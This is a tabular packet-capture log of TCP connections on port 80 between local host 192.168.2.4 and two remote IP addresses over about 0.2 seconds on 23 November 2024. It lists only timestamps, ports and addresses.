Nov 23, 2024 11:22:24.607434988 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.608129025 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.608195066 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.608378887 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.608443975 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.609050035 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.609181881 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.609942913 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.610008955 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.610258102 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.610918045 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.610976934 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.611021042 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.611076117 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.611900091 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.611994982 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.612052917 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.612823963 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.612956047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.613007069 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.613744974 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.613852978 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.613900900 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.614768982 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.614883900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.615145922 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.615612984 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.615725994 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.616405964 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.616487980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.665538073 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.714345932 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.714409113 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.714421988 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.714575052 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.714596987 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.714615107 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.714665890 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.714736938 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.715717077 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.715792894 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.715841055 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.716559887 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.716680050 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.716730118 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.717611074 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.717654943 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.717705965 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.717839956 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.718555927 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.718595028 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.718636990 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.719434977 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.719528913 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.719635963 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.719674110 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.719773054 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.720530987 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.720629930 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.720653057 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.720669985 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.721525908 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.721571922 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.721626043 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.721756935 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.722542048 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.722583055 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.722631931 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.722738028 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.723520041 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.723562002 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.723648071 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.724241018 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.724503040 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.724617004 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.724632978 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.724781036 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.725492954 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.725533962 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.725584984 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.726152897 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.726485014 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.726528883 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.726733923 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.726774931 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.727478027 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.727524042 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.727606058 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.727747917 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.728478909 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.728538990 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.728591919 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.729516983 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.729590893 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.729652882 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.730492115 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.730541945 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.730578899 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.730698109 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.731493950 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.731544971 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.731559992 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.732306957 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.732456923 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.732480049 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.732525110 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.733443975 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.733491898 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.733542919 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.733685017 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.734436035 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.734483004 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.734538078 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.735150099 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.735435963 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.735481024 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.735538006 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.735647917 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.736421108 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.736499071 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.736541033 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.737413883 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.737525940 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.737576962 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.738429070 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.738461018 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.738483906 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.738500118 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.739413023 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.739459038 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.739521980 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.739660025 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.740364075 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.740406036 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.740472078 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.741051912 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.741363049 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.741405964 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.741496086 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.741560936 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.742384911 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.742425919 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.742511034 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.742679119 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.743396997 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.743444920 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.743495941 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.743673086 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.744394064 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.744435072 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.744486094 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.744576931 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.745381117 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.745403051 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.745434999 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.745455980 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.746344090 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.746464014 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.746516943 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.747351885 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.747397900 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.747421980 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.747562885 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.748353958 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.748394966 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.748450041 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.748766899 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.749342918 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.749448061 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.749464989 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.749479055 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.750314951 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.750452042 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.750502110 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.751302004 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.751348972 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.751427889 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.751548052 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.752340078 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.752382994 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.752509117 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.753102064 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.753320932 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.753362894 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.753429890 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.753531933 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.754333973 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.754379034 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.754425049 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.754690886 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.755295992 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.755342007 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.755433083 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.755637884 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.756326914 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.756371021 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.756422997 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.756524086 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.757250071 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.757292032 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.757375956 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.757935047 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.758270025 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.758316040 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.758369923 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.758472919 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.759272099 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.759341955 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.759387016 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.759479046 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.760252953 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.760365009 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.760387897 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.760445118 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.761246920 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.761296988 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.761353970 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.761534929 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.762238979 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.762290001 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.762375116 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.762450933 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.763241053 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.763287067 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.763295889 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.763902903 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.764267921 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.764318943 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.764349937 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.764446020 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.765216112 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.765290976 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.765340090 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.766185999 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.766235113 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.778024912 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.778121948 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.778316021 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.778496981 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.778690100 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.779233932 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.779407978 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.779532909 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.779597998 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.780448914 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.780574083 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.780617952 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.781311035 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.781486988 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.781527996 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.782255888 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.782388926 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.782654047 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.783164024 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.783236980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.783274889 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.784121990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.784238100 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.784284115 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.785096884 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.785290003 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.785397053 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.786022902 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.786164999 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.786588907 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.787023067 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.787151098 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.787200928 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.787884951 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.788119078 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.788194895 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.788868904 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.788968086 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.789010048 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.789757013 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.789918900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.789994955 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.790669918 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.790774107 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.790940046 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.791615009 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.791759968 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.791850090 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.792582989 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.792787075 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.792834044 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.793629885 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.793728113 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.794420958 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.794445992 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.794553995 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.794595957 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.795401096 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.795578003 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.795617104 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.796375036 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.796545982 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.797455072 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.797547102 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.797591925 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.798302889 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.798417091 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.798458099 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.799240112 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.799695969 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.799741030 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.801155090 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.801346064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.801512957 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.801528931 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.801565886 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.801565886 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.802110910 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.802226067 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.802895069 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.803019047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.803061962 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.803822041 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.803957939 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.804006100 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.804812908 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.804966927 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.805903912 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.805946112 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.806004047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.806783915 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.806826115 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.806838989 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.807554007 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.807602882 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.807662010 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.808440924 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.808619976 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.808684111 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.808723927 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.809453964 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.809583902 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.809626102 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.810379028 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.810506105 CET	80	49786	34.116.198.130	192.168.2.4
